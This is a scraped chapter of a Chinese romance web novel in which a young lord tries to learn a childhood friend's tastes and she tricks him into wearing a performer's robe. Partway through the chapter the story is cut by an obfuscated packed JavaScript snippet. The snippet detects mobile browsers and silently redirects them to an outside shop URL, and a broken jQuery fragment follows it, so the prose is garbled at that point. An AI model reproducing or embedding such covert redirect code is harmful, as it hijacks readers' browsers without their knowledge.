文趣网 > 其他小说 > 太子青梅归我了 > 2. 打探
    顾翊承知道他不靠谱,竟不知他是如此的不靠谱。

    不过半刻钟,便被发现了意图。

    “你喜欢宁宁?”

    “不!不是!”柳越霖连忙摆摆手。

    柳越眠狐疑地的盯着他,满是不信:“那你为何打探她喜好?”

    半刻钟前,这小子直奔自己营帐中,还未曾聊上两句,话里话外总是围绕着裴舒宁,自己故意将话题扯开,不过两句,他又转回到裴舒宁身上。

    舒宁姐素日里喜爱何物?

    舒宁姐可曾喜欢过旁的男子?

    舒宁姐喜欢何样的男子?

    一连好几问,柳越眠愈发觉着不对劲,虽说舒宁较兄妹二人年岁大了一月有余,可自家弟弟向来是以哥哥自居,对于弟弟这一身份及其不甘,且向来不爱理会女子间的趣事,如今竟如此热络,倒显得异常。

    思来想去,除了他喜欢舒宁,她想不出任何理由。

    “既不是,那为何如此热络?”

    “姐,我不问了还不成吗?”柳越霖眼神慌乱地四处游移,挤出一个比哭还难看的笑容。

    见势不对,柳越霖转身就想走。

    连姐都喊上了,柳越眠更觉不对,一把攥住他的衣衫,另一手掐住脖颈:“快说!有什么猫腻,本小姐就放你一马。”

    “你打死我,我都不会说的!”

    还挺有义气!

    柳越眠撒开手,悠然坐下,端起茶杯抿了一口,眼见着他就快迈出营帐外,她不徐不疾道:“明日,我便去禀告母亲,让她寻了媒人去裴家,替你说亲!”

    说亲?!若真是如此,顾翊承还不得杀了自己!

    此事万万不可!

    柳越霖一个转身,扑通一声,滑跪扑向柳越眠,那双手紧紧拉住她的裙角:“姐,我错了!”

    柳越眠冲他勾勾手指:“快速速招来。”

    牺牲兄弟一人!不对!怎能是牺牲呢?若裴舒宁也喜欢顾翊承,这可是双向奔赴!总好过明日母亲拉着媒人去裴家下聘吧?!

    如此一想,他这才将顾翊承所托之事,全盘告知。

    “你是说顾翊承喜欢我们家宁宁?!”

    开什么玩笑!他可曾亲口说过不喜欢宁宁,怎会转眼间改变心意?

    “你蒙我呢?!”

    “我哪敢啊!若有假,明日你便让母亲去裴家给我说亲!”柳越霖发誓。

    柳越眠将手搭在下颌处,轻轻摩挲着下巴,眼珠子滴溜转,随后道:“本小姐知晓了,我去打探打探,稍晚告知你宁宁喜好!”

    “好,你可是我好姐姐!”柳越霖丝毫不怀疑,书信常来常往的手帕交,会对彼此之事不了解,感激地拉住她手臂,嘱咐道:“切莫让舒宁姐知晓这件事!”

    柳越眠拍拍那只手,语重心长道:“放心吧,我的好弟弟。”

    殊不知,柳越霖对自己长姐本就为数不多的信任,顷刻间坍塌。

    “什么?!你是说顾翊承欢喜我?”裴舒宁伸出纤纤玉手,指尖冲着自己示意,诧异的问道。

    柳越眠兴致冲冲跑进裴舒宁帐中,不过一小会,便将此前种种一一告知。

    不愧她辛苦采集了各式各样的花蕊,阴干后,放到夜露下浸漂七天,最后再加上蜂蜜拌匀,涂抹在手心,引来蝴蝶,只是这么容易就能让他喜欢吗?

    柳越眠单手撑着脑袋,端看眼前人许久,啧声称赞:“这樱桃小嘴、杏面桃腮、肤如凝脂、婀娜小蛮,可不招人么!”

    裴舒宁捏着帕子的手赶忙捂上她的嘴:“可不好胡说。”

    这踏青游园会乃官家所办,众人皆知官家意欲为太子选妃,家中有适龄女子人家都卯足了劲为此一搏,也有不少男子趁此机会相看女子,人多眼杂,可不比家中,若是传出点什么,只怕会惹出些不必要的麻烦。

    “本就是嘛。”柳越眠小声嘟囔着。

    “好啦好啦,不说便是。”柳越眠拉着她的手晃了晃:“此事你想如何?”

    如何?

    他想知晓自己的喜好,让他知晓便是,这有何难?

    “你这般同他道......”裴舒宁凑近柳越眠耳畔说了许久。

    柳越眠本盯着前方游离的眼神汇聚在一处,眸中透着光亮,脸上盈着笑意:“这主意不错!”

    她当即离去回了自己营帐,柳越霖还在此候着,得此消息,分外感激,承诺日后奉上宝膳坊拌蟹一份,可不是他小气,那拌蟹以生蟹剁块,拌以酒、盐、梅、橙等即时食用,因口味独特,颇受欢迎,每日仅售十来份,平日里想吃上一份,可不容易,宝膳坊也因而闻名。

    ......

    顾翊承展开双臂,左右端详着身上衣裳,疑惑问眼前人:“这薄如蝉翼外衫,红袍金线绣蝶,胸襟大敞,与伶人一般无二,你确信没听错?裴姑娘喜好这般男子?”

    她的眼光何时这般差了?!

    前脚离了柳越眠营帐,后脚来了此处,忙得脚不沾地,水都没能喝上一口,柳越霖给自己斟了好几杯下肚,才道:“正所谓女大十八变,你不懂符合常理。”

    柳越眠总该不会骗自己!不会有假。

    他端着茶杯,绕着顾翊承来回转了几圈:“不得不说,却有几分伶人姿色。”

    顾翊承抬腿踹他,竟敢寻自己与伶人比较!

    说来也怪,这衣裳上身,好似有无数眼睛盯着自己一般,浑身不得劲,顾翊承抬手就要脱掉,柳越霖搁下茶杯,三步并作两步,上前阻拦。

    “你不是想让人一见钟情?这可还没见呢,哪能脱下!”

    “我还是觉着膈应。”

    柳越霖双手环胸,高傲道:“我可打听到裴姑娘明日巳时初刻要去湖心亭,那处偏僻,鲜少有人往来,这身衣衫虽打眼,倒也无伤大雅,如若被裴姑娘一眼相中,心愿便了。”

    此话一出,顾翊承解着衣衫的手顿了顿,又默然穿了回去,抚了抚衣襟处的褶皱。

    顾翊承想了一宿,还是觉着不妥,当年裴舒宁瞧见自己穿着宝蓝色方领袍时,总是眼神发亮,直勾勾盯着自己,拉着自己说上许多的话,虽说女大十八变,他却不信一个人短短几年内,喜好大变。

    他起身从衣箱中挑出几件常服,挑挑拣拣,在宝蓝与绯红两件衣衫间犹豫不定,一件是她儿时曾喜欢的,一件是她如今喜好的,如何抉择,成了难题。

    倏忽间好似想起什么,唤了流风入内,要了个柏叶香囊,现下已来不及给衣服熏香了,儿时她曾说过,自己身上柏叶清香好闻。

    眼见着时辰快到了,他利落选了绯红那件常服穿上,快步往湖心亭而去。

    行至湖心亭,竟无一人在此,莫不是他错过了?人早已离去?或是人还未到?

    他在桥上来回踱步,单手握拳,一下一下击打掌心,来此只一条道,他不住盯着来路,半个时辰过去迟迟未见人影。

    心中愈发焦躁不安。

    躲在不远处丛间裴舒宁与柳越眠扒拉着一簇枝桠,透过缝隙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861197|212003||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    盯着亭中少年,一袭绯色方领袍,不过是普通不过的一件常服,革带勾勒出劲腰,竟衬得他肩宽腿长,线条利落。

    裴舒宁怔怔瞧着不远处少年,风吹衣衫摆动,那阵风似是吹过他又飘向自己,间或有一阵清爽气息,似清新如雨后竹林。

    “你当真不现身?”

    这么些年裴舒宁并未将他忘却,反而多添了几分想念,此次回京也是攥着一口气,她不信,他这柳枝她折不下来!

    明知这踏青会是皇后为了让她与太子相看所办,父亲母亲劝告自己东宫苦闷,若是她不愿,府中可想法子拒了,但她还是来了,只为了靠近他。

    柳越眠刻意压低的声音将她拉回思绪,她抬眸看向那人,遂摇了摇头,现下时机未到。

    “他怎没穿上你说的那件衣衫?”柳越眠正纳闷,嘀咕着。

    裴舒宁在脑海中描绘出那件衣裳模样,思忖好片刻,实在无法与那人搭上,在她心中,他一直是当年那个少年。

    见裴舒宁不答话,柳越眠摇了摇她的手臂,裴舒宁这才失笑,嘴角噙着一抹笑,道:“他又不傻。”

    她可从没想过,他会身穿伶人的衣裳现身湖心亭,毕竟自己从前对他可不算平淡,那般热烈,将自己喜好一一告知,还叮嘱他一定要记牢了,甚至对他的喜爱从不掩饰,喜欢与不喜欢都表现在脸上,每每他穿了那件宝蓝色方领袍,自己也要寻娘亲换上一件宝蓝色衣裙。

    却只是自己一人的热烈罢了,他每每总是嫌弃自己聒噪,离自己远远的,甚至说出这辈子他就是宁愿娶苏洛宛也不会娶自己。

    苏洛宛是街头富商孙府之女,儿时玩耍时不慎摔伤脑袋,自此痴傻如稚童。

    当年自己怎都不敢相信,自己堂堂一尚书之女,虽说圆润了些,性子皮了些,却也不至于差到比不过一痴儿?

    不甘之下,更是不依不饶哭喊着非要他娶自己,即便端王妃哄他,他也死咬着不松口。

    一晃多年过去,他说喜欢自己,反倒像是句玩笑话,若说心中毫无波澜是假,可自己属实不敢轻信,万一他只是心血来潮,自己承担不起后果。

    这事过后,不少人谈笑间将自己当作笑柄,笑自己痴心妄想,裴舒宁这三字在京城中一时名声大噪,自己虽不懂这些,父亲母亲不忍自己闺阁清誉毁于一旦,借由老夫人身子不适之故狠下心将她送往庄子。

    长久以往,事情平复,众人淡忘,老夫人身子好转,这才回京,不曾想,一回京便有机会与他遇上。

    他这么聪慧,不难猜出自己知晓了他的意图,衣衫之事是她故意为之。

    她只是想趁此一探他的心意,捉弄他一回,算是为自己当初报仇了。

    “世子,骑射比试要开始了。”流风上前禀报。

    “好。”

    迟迟等不到人,骑射比试不能耽误,此为男子组第一轮比试,若赢了,才有资格进行第二轮武艺比试,自己还要以此博得皇上青睐,以此寻个差事,顾翊承只好先行离开,后续再想办法与她接近。

    柳越眠点点头甚是赞同裴舒宁所说,京中传言顾翊承纨绔,实则心中颇有谋算,父亲交代之事柳越霖每每拿不定主意,总是寻他出谋划策,径他谋划之事,柳越霖很是得父亲夸赞。

    待人走后,柳越眠这才反应过来:“你是说柳越霖蠢笨?!”

    裴舒宁并无这意思,反应过来,捂嘴轻笑:“我可没说。”

    柳越眠嘴巴一张一合,毕竟是事实,无反驳之处。